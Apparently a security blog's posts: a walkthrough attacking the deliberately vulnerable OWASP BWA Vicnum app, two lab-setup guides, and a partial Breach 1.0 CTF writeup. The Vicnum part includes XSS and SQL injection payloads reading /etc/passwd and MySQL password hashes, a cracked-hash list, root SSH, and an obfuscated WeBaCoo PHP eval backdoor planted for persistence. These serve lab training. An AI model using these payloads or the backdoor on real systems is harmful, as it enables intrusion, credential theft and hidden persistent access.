OWASP Broken Web Apps VM – Vicnum – boot2root challenge Walkthrough

While going over the OWASP top 10 again recently I decided to create a few guides using the OWASP Broken Web Apps VM and show how easy it is to attack these systems. The OWASP top 10 is a great list of methods usually employed to gain access to systems and also to secure them. Why use that zero day you have when you can just attack a system like it’s 1999 again!

What you will need for this exercise:

1 – Kali installed and configured
2 – Pfsense Configured
3 – OWASP Broken Web Apps VM

Step one perform some active reconnaissance with the OWASP Zed Attack Proxy (ZAP) on Kali, enter the URL or IP address of your vulnerable OWASP BWA system you’re attacking and click attack to let ZAP do all the hard work for you!

1_OWASP_Zed_Attack_Proxy_(ZAP)_scanning

1_OWASP_Zed_Attack_Proxy_(ZAP)_scanning

From the scan I picked a random URI /vicnum/ to inspect further

2_Selecting_target_Web_Application_Vicnum

2_Selecting_target_Web_Application_Vicnum

Playing the Guessnum game is simple, keep picking 3 digit numbers until you guess all three in the correct positions. I played the game and had the Firefox plugin firebug enabled while doing so. This lead me to something interesting when I won, some cookies with the values of my current player named “zorn”.

3_Playing_Vicnum

3_Playing_Vicnum

I correctly guessed 612 in 15 guesses! I’m happy with that but what if I wanted to get an even better score of 3 or even 0. Let’s make that happen! Looking at the page located in the following URI /vicnum/guessnum4.php you’ll see something interesting if you have firebug open. Names of cookies, these cookies can be manipulated to send information to the database and modify the results we see on the screen!

Looking at the cookies from the top down:

1 – Milano with the value of 0012AA9B12goodzorn
2 – Brussels with the value of 0029A9B91crisp15
3 – Geneva with the value of 92BEF345Apecan612

Changing the end values of the cookie in this case zorn, 15 & 612 you can manipulate the database and create your own score

4_Modifying_Vicnum_cookies

4_Modifying_Vicnum_cookies

Refresh the page and you are now at the top of the leader board!

5_Vicnum_score_modifed_cookie_manipulation

5_Vicnum_score_modifed_cookie_manipulation

Above by changing the cookie values to the following yielded an excellent score:

1 – Milano with the value of 0012AA9B12gooditfellover
2 – Brussels with the value of 0029A9B91crisp3
3 – Geneva with the value of 92BEF345Apecan123

Congratulations you just became the best player at Guessnum!

Let’s go back to ZAP and see what else we can look at:

6_OWASP_Zed_Attack_Proxy_(ZAP)_alerts

6_OWASP_Zed_Attack_Proxy_(ZAP)_alerts

Maybe a little Reflected Cross Site Scripting next, ZAP is great as it gives you descriptions on how the attack is performed and also solutions for securing your web application.

Checking if Reflected Cross Site Scripting is working on this page as suggested by ZAP we can try the following snippet below entered into the Guessnum player name field to check:

7_OWASP_Vicnum_Cross_Site_Scripting_Testing_Player_Name

7_OWASP_Vicnum_Cross_Site_Scripting_Testing_Player_Name

8_Vicnum_Cross_Site_Scripting_Testing_Player_Name_Output

8_Vicnum_Cross_Site_Scripting_Testing_Player_Name_Output

This succesfully worked and a little non malicious pop up appeared on the screen, this could have been used for malicious means though. This is where the NoScript plugin for browsers shines as it blocks these attacks while browsing the web, keeping you safe as you wander around looking at random pictures of funny cats.

An interesting XSS attack using a URL which modifies the cookie parameter is this one as it will keep the session and will come back every time you refresh the page which is nice temporary persistence.

9_Vicnum_Cross_Site_Scripting_Testing_URL_field

9_Vicnum_Cross_Site_Scripting_Testing_URL_field

Using URL encoding to obfuscate it a bit so it’s not as obvious to the clicker of the link:

#!/usr/bin/env python

# urllib is needed for the URL encoding
import urllib

# URL is equal to the URL that is used
URL = ‘http://192.168.1.102/vicnum/union1.php?admin=N&unionname=’
# XSS is equal to the XSS cookie test alert
XSS = ‘<script>alert(“URL XSS Test”);</script>’

# printing the value of URL and XSS together encoded in URL encoding to give us the encoded URL value. More on URL encoding and quote_plus can be seen here.
print URL + urllib.quote_plus(XSS)

10_Vicnum_Cross_Site_Scripting_python_URL_encoder

10_Vicnum_Cross_Site_Scripting_python_URL_encoder

Below shows creation of the script above urlencode.py, chmodding it to make it executable and the results of running the script:

11_Vicnum_Cross_Site_Scripting_python_URL_encoder_chmod_script_execution

11_Vicnum_Cross_Site_Scripting_python_URL_encoder_chmod_script_execution

The output of the script with the URL encoded looks like this:

12_Vicnum_Cross_Site_Scripting_python_URL_encoded

12_Vicnum_Cross_Site_Scripting_python_URL_encoded

The result of executing the encoded URL can be seen below:

13_Vicnum_Cross_Site_Scripting_python_URL_encoded_output

13_Vicnum_Cross_Site_Scripting_python_URL_encoded_output

Below I entered some JavaScript Cross Site Scripting to print the cookies of the currently logged in player in the Guessnum player name field under the /vicnum/guessnum4.php URI. itfellover in this case was the current player at the time. It doesn’t make a difference if you know the player name or not I could have entered “dfgdfg” or just the JavaScript on it’s own to alert on the document.cookie result printing the same alert box.

14_Vicnum_itfellover_Cross_Site_Scripting_Cookie_stealing

14_Vicnum_itfellover_Cross_Site_Scripting_Cookie_stealing

15_Vicnum_itfellover_Cross_Site_Scripting_Cookie_stealing_entered

15_Vicnum_itfellover_Cross_Site_Scripting_Cookie_stealing_entered

The output seen once this is executed shows the player name itfellover to have been requested from Guessnum who had just played the game and gained a score of 12 by correctly guessing 912 to be the numbers selected for his game.

16_Vicnum_itfellover_Cross_Site_Scripting_Cookie_stealing_output

16_Vicnum_itfellover_Cross_Site_Scripting_Cookie_stealing_output

If we wanted to steal the cookies on the page we could do so and send them back to an attacking system, for the purpose of this exercise we’ll print the cookies out on the page with the following modified URL below:

17_Vicnum_itfellover_Cross_Site_Scripting_Cookie_stealing_URL

17_Vicnum_itfellover_Cross_Site_Scripting_Cookie_stealing_URL

18_Vicnum_itfellover_Cross_Site_Scripting_Cookie_stealing_URL_output

18_Vicnum_itfellover_Cross_Site_Scripting_Cookie_stealing_URL_output

This is excellent, this site is clearly vulnerable to XSS and cookie manipulation but what else can be poked at. Go back to ZAP and see what else it’s detected.

Navigating to http://192.168.1.102/vicnum/cgi-bin/ will show us a directory listing for this web application:

19_Vicnum_directory_listing

19_Vicnum_directory_listing

SQL Injection:

A simple quote ‘ in the “Guessnum Player” name entry field – http://192.168.1.102/vicnum/guessnum.html – yields an interesting unsanitised error giving information regarding the database used for the web application.

20_Vicnum_SQL_Injection_testing

20_Vicnum_SQL_Injection_testing

Output seen below

You have requested results for Guessnum player ‘ :ERROR in SELECT name,guess,count,tod FROM guessnumresults WHERE name = ”’ You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ””’ at line 1

This is great as it tells us MySQL is in use for this web application and also gives some hints as to what we can use in SQL statements to call from the database

SELECT name,guess,count,tod FROM guessnumresults WHERE name =

You can find out how to emulate the table structure using “union” with this link. This link will help specify a column in the database.

21_Vicnum_SQL_Error_Output

21_Vicnum_SQL_Error_Output

Trying next a very basic piece of SQL injection

‘ OR ‘a’=’a

22_Vicnum_SQL_Injection_statement_test

22_Vicnum_SQL_Injection_statement_test

This gives us all the users scores stored in the database:

23_Vicnum_SQL_Injection_Player_database_score_dump

23_Vicnum_SQL_Injection_Player_database_score_dump

Listing the contents of etc passwd using load_file:

‘ UNION ALL SELECT 1,2,3,load_file(‘/etc/passwd’)#

24_Vicnum_SQL_Injection_etc_passwd_dump

24_Vicnum_SQL_Injection_etc_passwd_dump

List all mysql users and their hashed passwords:

‘ UNION ALL SELECT 1,2,user,password FROM mysql.user#

25_Vicnum_SQL_Injection_users_and_password_hashes_dump

25_Vicnum_SQL_Injection_users_and_password_hashes_dump

This lists everything in the mysql database:

‘ UNION ALL SELECT 1,table_schema,table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’#

26_Vicnum_SQL_Full_database_dump

26_Vicnum_SQL_Full_database_dump

Delicious password hashes but what are they exactly? Let’s find out by first checking the length of the hashes with a quick python script

#!/usr/bin/env python

print len(73316569DAC7839C2A784FF263F5C0ABBC7086E2)

27_Vicnum_simple_python_password_hash_count

27_Vicnum_simple_python_password_hash_count

Chmoding the script to make it executable and running it:

chmod +x ba <– making the script “ba” executable

./ba <– running the executable

28_Vicnum_simple_python_password_hash_count_chmod_and_run

28_Vicnum_simple_python_password_hash_count_chmod_and_run

40 characters long which means it’s SHA-1

Let’s create a list with all the hashes by first pasting in the whole page of text like you see below:

29_Vicnum_password_hash_list

29_Vicnum_password_hash_list

Once that’s done let’s clean it up with some awk and sed magic:

awk ‘{print $NF}’ hashes | sed ‘s . ‘ | sed ‘/^\s*$/d’

awk ‘{print $NF}’ hashes <– Prints out the end of the line which is the hash
sed ‘s . ‘ <– This gets rid of the * at the start of the SHA-1 hash
sed ‘/^\s*$/d’ <– Gets rid of all the whitespace

Which leaves us with this output:

30_Vicnum_password_hashes_sorted

30_Vicnum_password_hashes_sorted

73316569DAC7839C2A784FF263F5C0ABBC7086E2
D5D9F81F5542DE067FFF5FF7A4CA4BDD322C578F
D5D9F81F5542DE067FFF5FF7A4CA4BDD322C578F
75F15FF5C9F06A7221FEB017724554294E40A327
D5D9F81F5542DE067FFF5FF7A4CA4BDD322C578F
C7847100CDBE29050A338F78EA71F066D196ED98
C260A4F79FA905AF65142FFE0B9A14FE0E1519CC
CA1F8B079BB2857835107EA008871B4691769547
D67B38CDCD1A55623ED5F55856A29B9654FF823D
E82A07F59B0D83BEF29F79E41FA0F8A042CE3DE4
3758F91540524F48F92FE932883C54F6E802A13A
3D118FD3FFC74F534A493C30ADC1F23A48510D9D
30B462BE16C04867D06113304F664BB9A5B573D8
5297BE816CC703E8CB686D205071E9CD9E8F08A4
9AE953952D993ED69779E70E28193A1EB8DDF91C
C238B1FA6D14124C867DC9634DEB2CD731212094
8FC7327502AA1203AAE881C4A5E2AA1CD6E46CE8
82183BF1F275E47C2692B1CF81CB7A8FD16CE5EA
E2E1F0A3459647AACF63319694BCBD107231B10C
DF0F41B82DFDB4AA462186480FA9922EF4BBFCEB
48529BB639EC6E4C2A6695C4B3D544A9E2A21D4C
F70658E9BDD2910AC33ACDA164605DFC1DA70A68
6126D5A029ACE603DBF187A301C1CCEAEDCFE232
E5C4AA1177F0A69A9E124CDC2676D4ECCE01E347
ED2048BBC6AFD6E2186982869C7899A7EF38C066
10A99DBC0772291AA6AF9A1A9271945340E4E812
47A91042510E7E966EF4075A934A77A57A9E71FE
02EAFACD13AEC2C2E139EA38903B9A84A165DF0B
0F44FA14B9DFBBFFBDF2F7692868DE1B997C66ED
93ADDFABFCD5A66C95E97C73240D373413A01275
E0E85D302E82538A1FDA46B453F687F3964A99B4
5FA5F4C9ACD2CA5C1EB9E0EC80175D5FCAA0D7D6
8028371417372EDAD5755F9653E93D7C1E87564C
1DB6D61428C07B8E8D6876CC60ECAD01D2CE844A
2132873552FEDF6780E8060F927DD5101759C4DE
4BA609A0C9C18D80985519932BAC08C604119234
255195939290DC6D228944BCC682D2427DA57E21
63C3CE60C4AC4F87F321E54F290A4867684A96C4

Let’s throw this at hashkiller’s SHA-1 Decrypter and see if it’s already cracked the hashes and save us some work:

31_Vicnum_password_hashes_cracked_Hashkiller

31_Vicnum_password_hashes_cracked_Hashkiller

All but 5 hashes have been cracked, this is excellent, we can definitely gain access to the system now and own the box fully!

First trying to ssh in as root with the first password in the list “owaspbwa”:

ssh root@192.168.1.102 <– ssh as the user root to 192.168.1.102

32_Vicnum_ssh_root_success_first_attempt

32_Vicnum_ssh_root_success_first_attempt

And we’re in as root and we have mail, how kind, we should read it!

cd /var/spool/mail <– Your mail is kept her on most Linux systems

33_Vicnum_OWASP_BWA_mail_directory

33_Vicnum_OWASP_BWA_mail_directory

There is a wealth of information in here, especially the www-data mail log is filled with interesting URL’s and passwords! Let’s add some persistence for now and call it a day with WeBaCoo and create an obfuscated PHP backdoor to leave on the box for persistence.

webacoo -g -o backdoor.php

-g Generate backdoor code
-o Generated backdoor output filename

cat backdoor.php <– Verifies the newly created backdoor

34_Vicnum_OWASP_BWA_WeBaCoo_PHP_backdoor

34_Vicnum_OWASP_BWA_WeBaCoo_PHP_backdoor

On the OWASP BWA system as we already have root on the box we can go anywhere and do anything so let’s place the backdoor.php code in the apache /var/www/ directory so we can come back at any time and gain access again even if the password is changed for example.

cd /var/www <– change to the /var/www web directory

35_Vicnum_OWASP_BWA_web_directory

35_Vicnum_OWASP_BWA_web_directory

Create the obfuscated backdoor in the /var/www/ web directory

cat > backdoor.php <– cat with > will allow you to append text to a file quickly without opening another editor

Paste your own WeBaCoo backdoor and hit CTRL + C to exit cat:
<?php $b=strrev(edoced_4.6esab);eval($b(str_replace( ,,a W Y o a X N z Z X Q o J F 9 D T 0 9 L S U V b J 2 N t J 1 0 p K X t v Y l 9 z d G F y d C g p O 3 N 5 c 3 R l b S h i Y X N l N j R f Z G V j b 2 R l K C R f Q 0 9 P S 0 l F W y d j b S d d K S 4 n I D I + J j E n K T t z Z X R j b 2 9 r a W U o J F 9 D T 0 9 L S U V b J 2 N u J 1 0 s J F 9 D T 0 9 L S U V b J 2 N w J 1 0 u Y m F z Z T Y 0 X 2 V u Y 2 9 k Z S h v Y l 9 n Z X R f Y 2 9 u d G V u d H M o K S k u J F 9 D T 0 9 L S U V b J 2 N w J 1 0 p O 2 9 i X 2 V u Z F 9 j b G V h b i g p O 3 0 = ))); ?>

cat backdoor.php <– This is to verify your backdoor was pasted correctly

36_Vicnum_OWASP_BWA_WeBaCoo_backdoor_deployed

36_Vicnum_OWASP_BWA_WeBaCoo_backdoor_deployed

Finally a quick check that the backdoor works correctly before we call it a day

webacoo -t -u http://192.168.1.102/backdoor.php

37_Vicnum_OWASP_BWA_WeBaCoo_backdoor_confirmation_test_success

37_Vicnum_OWASP_BWA_WeBaCoo_backdoor_confirmation_test_success

Congratulations, that was a fun challenge. I look forward to creating some further OWASP BWA tutorials. I hope you have fun playing around with the OWASP Broken Web Applications VM as much as I do!

 

Building an Ethical hacking lab on your laptop with VirtualBox – Part 16 – Kali Linux 2.0 Rolling

Kali Linux was updated a while back and since has had many nice features added to it. I’ve covered other methods of creating your own custom Kali ISO and installing Kali in VirtualBox before. Check out the previous VirtualBox guide for basic configuration and then follow along to complete the updated Kali 2.0 Rolling installation and get guest additions working as it’s changed a little since my last guide.

What you’ll need is the following:

1 – VirtualBox installed with guest additions downloaded
2 – Kali Linux 2.0 ISO downloaded

As mentioned already refer to the previous guide for basic VirtualBox configuration.

Let’s get to it!

Select Install on first boot to start of the installation

1_Kali_Linux_2.0_VirtualBox_Install_select_install

1_Kali_Linux_2.0_VirtualBox_Install_select_install

Select your desired language

2_Kali_Linux_2.0_VirtualBox_Install_select_language

2_Kali_Linux_2.0_VirtualBox_Install_select_language

Select your country

3_Kali_Linux_2.0_VirtualBox_Install_select_country

3_Kali_Linux_2.0_VirtualBox_Install_select_country

Select your desired keyboard configuration

4_Kali_Linux_2.0_VirtualBox_Install_select_keyboard_layout

4_Kali_Linux_2.0_VirtualBox_Install_select_keyboard_layout

Enter a hostname for your system

5_Kali_Linux_2.0_VirtualBox_Install_enter_a_hostname

5_Kali_Linux_2.0_VirtualBox_Install_enter_a_hostname

Enter a domain name if you want to use one otherwise just hit “Continue”

6_Kali_Linux_2.0_VirtualBox_configure_DNS_if_needed

6_Kali_Linux_2.0_VirtualBox_configure_DNS_if_needed

Enter your the password you want to use for the root account and hit “Continue”

7_Kali_Linux_2.0_VirtualBox_configure_enter_root_password

7_Kali_Linux_2.0_VirtualBox_configure_enter_root_password

Verify your root password and hit “Continue”

8_Kali_Linux_2.0_VirtualBox_configure_enter_root_password_confirmation

8_Kali_Linux_2.0_VirtualBox_configure_enter_root_password_confirmation

Hit “Enter” to continue the hard disk partitioning using the “Guided – use entire disk” method. Feel free to choose a different method if you wish.

9_Kali_Linux_2.0_VirtualBox_configure_select_disk_partitioning

9_Kali_Linux_2.0_VirtualBox_configure_select_disk_partitioning

Hit “Enter” to continue using the selected partition for the hard disk install

10_Kali_Linux_2.0_VirtualBox_configure_select_disk_to_partition

10_Kali_Linux_2.0_VirtualBox_configure_select_disk_to_partition

Hit “Enter” to continue installation using the “All files in one partition” partitioning scheme. Feel free to change it.

11_Kali_Linux_2.0_VirtualBox_configure_select_partitioning_scheme

11_Kali_Linux_2.0_VirtualBox_configure_select_partitioning_scheme

Select “Finish partitioning and write changes to disk” and hit “Enter”

12_Kali_Linux_2.0_VirtualBox_configure_write_changes_to_disk

12_Kali_Linux_2.0_VirtualBox_configure_write_changes_to_disk

Select “Yes” to confirm you want to write all your changes to disk and hit “Enter”

13_Kali_Linux_2.0_VirtualBox_configure_write_changes_to_disk_confirmation

13_Kali_Linux_2.0_VirtualBox_configure_write_changes_to_disk_confirmation

Select “No” to use a network mirror

14_Kali_Linux_2.0_VirtualBox_configure_select_no_for_a_mirror

14_Kali_Linux_2.0_VirtualBox_configure_select_no_for_a_mirror

Select “Yes” and hit enter to install the GRUB boot loader to the master boot record

15_Kali_Linux_2.0_VirtualBox_configure_select_yes_to_install_the_GRUB_bootloader

15_Kali_Linux_2.0_VirtualBox_configure_select_yes_to_install_the_GRUB_bootloader

Select your hard disk you want to install the GRUB boot loader on and hit “Enter”

16_Kali_Linux_2.0_VirtualBox_configure_select_disk_to_install_the_GRUB_bootloader

16_Kali_Linux_2.0_VirtualBox_configure_select_disk_to_install_the_GRUB_bootloader

Installation is now complete, select “Continue” and hit “Enter” to reboot into your new Kali install

17_Kali_Linux_2.0_VirtualBox_configured_ready_to_reboot

17_Kali_Linux_2.0_VirtualBox_configured_ready_to_reboot

At first login enter the username “root” followed by the password you entered at the start of the install

18_Kali_Linux_2.0_VirtualBox_configured_first_login

18_Kali_Linux_2.0_VirtualBox_configured_first_login

Excellent, first logon was a success. Well done so far only a few steps remain until you can start playing in your lab

19_Kali_Linux_2.0_VirtualBox_configured_first_logon

19_Kali_Linux_2.0_VirtualBox_configured_first_logon

During install we didn’t add repositories but in order to update and upgrade the system we’ll need to modify the /etc/apt/sources.lst. Use a text editor of choice of use nano like the example below.

20_Kali_Linux_2.0_VirtualBox_modify_apt_sources_list

20_Kali_Linux_2.0_VirtualBox_modify_apt_sources_list

Add the following repositories to the file then save it. If using nano like in the example do this pressing CTRL+O and pressing enter. Exit with CTRL + X

deb http://http.kali.org/kali kali-rolling main contrib non-free
deb-src http://http.kali.org/kali kali-rolling main contrib non-free

21_Kali_Linux_2.0_VirtualBox_modify_apt_sources_list_repositories

21_Kali_Linux_2.0_VirtualBox_modify_apt_sources_list_repositories

Now that you have some repositories enter the following command into the terminal and hit “Enter”. This will take some time to complete so go grab a beverage of choice and chill out for a bit.

sudo apt-get update && sudo apt-get upgrade -y && sudo apt-get dist-upgrade -y

22_Kali_Linux_2.0_VirtualBox_update_upgrade_dist_upgrade

22_Kali_Linux_2.0_VirtualBox_update_upgrade_dist_upgrade

When prompted to restart services during package upgrades without asking select “Yes” and hit “Enter”

23_Kali_Linux_2.0_VirtualBox_update_upgrade_dist_upgrade_select_yes_to_restart_during_package_upgrades

23_Kali_Linux_2.0_VirtualBox_update_upgrade_dist_upgrade_select_yes_to_restart_during_package_upgrades

When prompted if non-superusers should be able to capture packets with Wireshark select “No” and hit “Enter”

24_Kali_Linux_2.0_VirtualBox_select_no_to_disallow_non_superusers_capture_packets_wireshark

24_Kali_Linux_2.0_VirtualBox_select_no_to_disallow_non_superusers_capture_packets_wireshark

Select “Ok” regarding the PostgreSQL version 9.5 obsolete warning and hit “Enter”

25_Kali_Linux_2.0_VirtualBox_select_OK_postgresql_common

25_Kali_Linux_2.0_VirtualBox_select_OK_postgresql_common

If prompted to keep any configurations enter “Y” and hit “Enter” to continue

26_Kali_Linux_2.0_VirtualBox_enter_Y_to_keep_defaults

26_Kali_Linux_2.0_VirtualBox_enter_Y_to_keep_defaults

It took sometime but if you’ve gotten this far your doing well. Enter “reboot” and hit “Enter”

27_Kali_Linux_2.0_VirtualBox_update_upgrade_dist_upgrade_complete

27_Kali_Linux_2.0_VirtualBox_update_upgrade_dist_upgrade_complete

This is where things have changed, if you refer to the previous guides on my blog you’ll see installing Virtual Box Guest additions used to be different, now however all you have to do is enter the following

sudo apt-get install -y virtualbox-guest-x11

28_Kali_Linux_2.0_VirtualBox_Install_Guest_Additions

28_Kali_Linux_2.0_VirtualBox_Install_Guest_Additions

Once the installation is complete enter “reboot” and hit “Enter”

29_Kali_Linux_2.0_VirtualBox_Guest_Additions_installed_reboot

29_Kali_Linux_2.0_VirtualBox_Guest_Additions_installed_reboot

You will now have a big full screen and all the other features of Virtual Box Guest additions available

30_Kali_Linux_2.0_VirtualBox_Guest_Additions_installed_rebooted_and_full_screen_achieved

30_Kali_Linux_2.0_VirtualBox_Guest_Additions_installed_rebooted_and_full_screen_achieved

I figured a guide was necessary as I had some issues myself the first time I installed the latest version and imagine others have had the same problem.

That’s it for now, well done getting Kali installed and configured. Have fun playing in your lab!

 

Building an Ethical hacking lab on your laptop with VirtualBox – Part 15 – OWASP Broken Web Apps

Making a move to more web application testing recently I decided an update was required to the lab with the OWASP Broken Web Applications VM to get better at web application testing. I’ve played with it in the past and used it for one of my first blog posts regarding Shellshock aka CVE-2014-6271. I never however wrote about configuring this system or attacking it in the lab. When creating the Shellshock blog post I had to modify some of the OWASP BWA configuration to make it vulnerable to attack. In this post however we’ll just download it and configure it to boot which is all that’s needed to get started. A word of advice before we continue, don’t connect this to a local network outside of your lab as the system is highly vulnerable and easy to gain access for those who poke at it, this makes it great for learning by creating a system vulnerable to attack safely in your lab environment.

What you’ll need is the following:

1 – VirtualBox installed with guest additions downloaded
2 – Pfsense Configured
3 – OWASP Broken Web Applications VM downloaded
4 – 7zip to unzip the OWASP VM

Once you have obtained and configured all of the above you are ready to boot up the VM.

Let’s get to it!

To keep everything contained within the lab environment we’ll use an internal NIC setup in the lab as this keeps the traffic in isolation which means you won’t be scanning or attacking a real system that you didn’t mean to! It happens easily so be careful. Following along with the Pfsense guide you’ll see how this is done. NIC Configuration for the OWASP system is as simple as selecting the same option for one NIC as that’s all you need to get going and get a DHCP lease for it in your lab.

Click new then give your machine a name, select the type ‘Linux’ and the version ‘Linux 2.6 / 3.x / 4.x (64Bit)’ or the version of your own architecture if it is 32 Bit for example and then click ‘Next’

1_owasp_broken_web_applications_type_name

1_owasp_broken_web_applications_type_name

Next allocate a chunk of memory, 1GB should be fine but if you have more 4GB’s is a nice amount to make everything run smoothly.

2_owasp_broken_web_applications_allocate_memory

2_owasp_broken_web_applications_allocate_memory

For the hard disk option choose “Use an existing virtual hard disk file” and navigate to your unzipped OWASP BWA file you downloaded. Select “OWASP Broken Web Apps-cl1” and then click “Create”.

3_owasp_broken_web_applications_use_an_existing_virtual_hard_disk

3_owasp_broken_web_applications_use_an_existing_virtual_hard_disk

Once you have this done you’ll be back in the main Virtual Box system select interface, click on settings up the top left.

9 - VirtualBox settings button

9 – VirtualBox settings button

Remove the Floppy disk drive as it’s not needed and configure the system settings as I have mine below. You don’t need the Optical drive but I chose to keep it so I can boot off other disks for analysis when I want to.

4_owasp_broken_web_applications_modify_settings

4_owasp_broken_web_applications_modify_settings

Modify the NIC to the same as I have below so it says “Attached to: Internal Network” then click OK.

5_owasp_broken_web_applications_modify_nic

5_owasp_broken_web_applications_modify_nic

Boot the system!

6_owasp_broken_web_applications_booted

6_owasp_broken_web_applications_booted

That’s it for now as everything is configured and the OWASP system requires no configuration to get up and running. Providing you have Pfsense running with the internal NIC settings as specified in the previous guide you should be getting a DHCP lease from it that you can ping and scan etc. Log into the OWASP BWA VM to check your IP address and you’re good to start poking around the system using Kali and tools like OWASP Zed Attack Proxy (ZAP) or BURP suite you will get a wealth of information to gain access to the system from your remote attacking system. Have fun!

 

Vulnhub – Breach 1.0 boot2root CTF challenge Walkthrough

I was playing with Breach 1.0 recently and found it to be one of the most fun CTF systems to break into meant to be good for a beginner to intermediate hackers and the first in what will hopefully be an excellent multi-part series! Solving the boot2root challenge requires a combination of both information gathering and persistence for learning and this is my writeup.

First things first a bit of enumeration is needed to find out some intel and a quick nmap scan of the system with the following yields many results meaning something is clearly wrong!:

nmap -sS -Pn 192.168.110.140
“-sS” – TCP SYN
“-Pn” – Treat all hosts as online — skip host discovery

1_Breach_1.0_boot2root_CTF_nmap_scan

1_Breach_1.0_boot2root_CTF_nmap_scan

I noticed some weird output while running different nmap scans so created a little python script to see what was going on

#!/usr/bin/env python

import os

for i in range(1, 50):
os.system(“nc 192.168.110.140 ” + str(i))
print “”

A break down of the script:

#!/usr/bin/env python <– This will set the environment for python to run in regardless of where it is stored on your system.

import os <– This imports a module called “os” which will let us do some fun stuff with system commands.

for i in range(1, 50): <– Start of a for loop, i in this case has the values of the range 1 to 50 passed to it and will be used on the next line.

os.system(“nc 192.168.110.140” + str(i)) <– os.system is used to encapsulate nc with the ip address 192.168.110.140 plus the values 1,2,3,4,5 etc until it reaches 50

print “” <– I added this to make the output cleaner

This then gives me the following output which I thought was brilliant 🙂

2_Breach_1.0_boot2root_CTF_nc_trolling

2_Breach_1.0_boot2root_CTF_nc_trolling

Hmm lets connect to port 80 in the browser and see if there is a web page hosted

192.168.110.140:80

3_Breach_1.0_boot2root_CTF_web_page_port_80

3_Breach_1.0_boot2root_CTF_web_page_port_80

Excellent we have the company name Initech.

Bill Lumbergh and Peter Gibbons were performing analysis and containing the threat.

It appears like a disgruntled employee caused the breach.

Viewing the page source you can see some strange text in there:

view-source:http://192.168.110.140/

4_Breach_1.0_boot2root_CTF_web_page_source_code

4_Breach_1.0_boot2root_CTF_web_page_source_code

Weird base64?:

<!——Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo —–>

The image is clickable and brings you to another page:

http://192.168.110.140/initech.html

5_Breach_1.0_boot2root_CTF_web_page_second_site

5_Breach_1.0_boot2root_CTF_web_page_second_site

Two images and an employee portal are now also accessible:

http://192.168.110.140/impresscms/user.php <– Impress CMS user portal

Looking at the image URI directories makes me feel there may be more in that images sub directory:

http://192.168.110.140/images/cake.jpg
http://192.168.110.140/images/swingline.jpg
http://192.168.110.140/images/milton_beach.jpg

Dropping to /images

http://192.168.110.140/images/

We then get access to a few more images.

6_Breach_1.0_boot2root_CTF_website_images_directory

6_Breach_1.0_boot2root_CTF_website_images_directory

Now we have a few more images to look into and a troll GIF hahaha:

http://192.168.110.140/images/bill.png
http://192.168.110.140/images/initech.jpg
http://192.168.110.140/images/troll.gif
http://192.168.110.140/images/cake.jpg
http://192.168.110.140/images/swingline.jpg
http://192.168.110.140/images/milton_beach.jpg

Created a quick list of all the images with cat:

cat > _images
http://192.168.110.140/images/bill.png
http://192.168.110.140/images/initech.jpg
http://192.168.110.140/images/troll.gif
http://192.168.110.140/images/cake.jpg
http://192.168.110.140/images/swingline.jpg
http://192.168.110.140/images/milton_beach.jpg

Created a quick for loop to then cycle through the list and pull them all down for me, the usage is similar to the python script above used for nc.

for i in $(cat _images); do wget $i; done

I then ran the strings command against all the images with a simple for loop, once again similar to the previous scripts. The only thing really different is the variable created called types storing the different image extensions to cycle through the current working directory:

#!/bin/bash

types=”*.png *.jpg *.gif”

for i in $types
do
$(strings $i >> string_output)
done

Looking through the outputted file “string_output” you find the textcomment “coffeestains”. Which I added to my word list and moved on as it might be useful later on in the challenge.

7_Breach_1.0_boot2root_CTF_image_strings

7_Breach_1.0_boot2root_CTF_image_strings

Looking at the string found earlier on the web page it turns out it’s double encoded in base64 without the trailing “=” at the end, once again a quick python script quickly solves this problem by importing the base64 module pushing the string into a variable encoded and then decrypting it by running base64.b64decode against it twice and printing the result:

#!/usr/bin/env python

import base64

encoded = (‘Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo’)

decrypted = base64.b64decode(base64.b64decode(encoded))

print decrypted

The following string is printed and it looks like a username and password combo:

pgibbons:damnitfeel$goodtobeagang$ta

Trying the credentials in the CMS platform they work and we get access to his inbox!

8_Breach_1.0_boot2root_CTF_CMS_portal_private_messages

8_Breach_1.0_boot2root_CTF_CMS_portal_private_messages

Working from the bottom up through the emails

http://192.168.110.140/impresscms/readpmsg.php?start=0&total_messages=3

9_Breach_1.0_boot2root_CTF_CMS_private_message_keystore

9_Breach_1.0_boot2root_CTF_CMS_private_message_keystore

http://192.168.110.140/impresscms/readpmsg.php?start=1&total_messages=3

10_Breach_1.0_boot2root_CTF_CMS_IDS_IPS_Message

10_Breach_1.0_boot2root_CTF_CMS_IDS_IPS_Message

http://192.168.110.140/impresscms/readpmsg.php?start=2&total_messages=3

11_Breach_1.0_boot2root_CTF_CMS_private_message_sensitive_content

11_Breach_1.0_boot2root_CTF_CMS_private_message_sensitive_content

We learn a few things from these emails:

1 – There is/was a keystore 192.168.110.140/.keystore Bob – Some sort of SSL Cert called Super Secret Cert Pro
2 – Email addresses: registrar@penetrode.com, bob@initech.com, admin@breach.local
3 – They bought a new IDS/IPS
4 – There is another user called Michael Bolton – http://192.168.110.140/impresscms/modules/profile/index.php?uid=3
5 – Sensitive artifacts are stored in the admin portal and the password is apparently very secure

Lets pull the keystore first:

Pulling with the link mentioned does nothing

12_Breach_1.0_boot2root_CTF_keystore_bob_not_found

12_Breach_1.0_boot2root_CTF_keystore_bob_not_found

But, pulling just the keystore gets the file, move on and keep it for later

13_Breach_1.0_boot2root_CTF_keystore_download

13_Breach_1.0_boot2root_CTF_keystore_download

Lets try logging in as some of these users:

registrar@penetrode.com, bob@initech.com, admin@breach.local

admin and the string found in one of the images “coffeestains” works 🙂

14_Breach_1.0_boot2root_CTF_CMS_admin_profile

14_Breach_1.0_boot2root_CTF_CMS_admin_profile

The URL is different logged in as the admin: http://192.168.110.140/impresscms/modules/profile/index.php?uid=1

Changing the uid=1 to 2 and 3 logs you in as the other users

Peter Gibbon’s Profile:

15_Breach_1.0_boot2root_CTF_CMS_Peter_Gibbons_profile

15_Breach_1.0_boot2root_CTF_CMS_Peter_Gibbons_profile

Michael Bolton’s Profile:

16_Breach_1.0_boot2root_CTF_CMS_Michael_Boltons_profile

16_Breach_1.0_boot2root_CTF_CMS_Michael_Boltons_profile

New emails found
michael.bolton@initech.com & peter.gibbons@initech.com

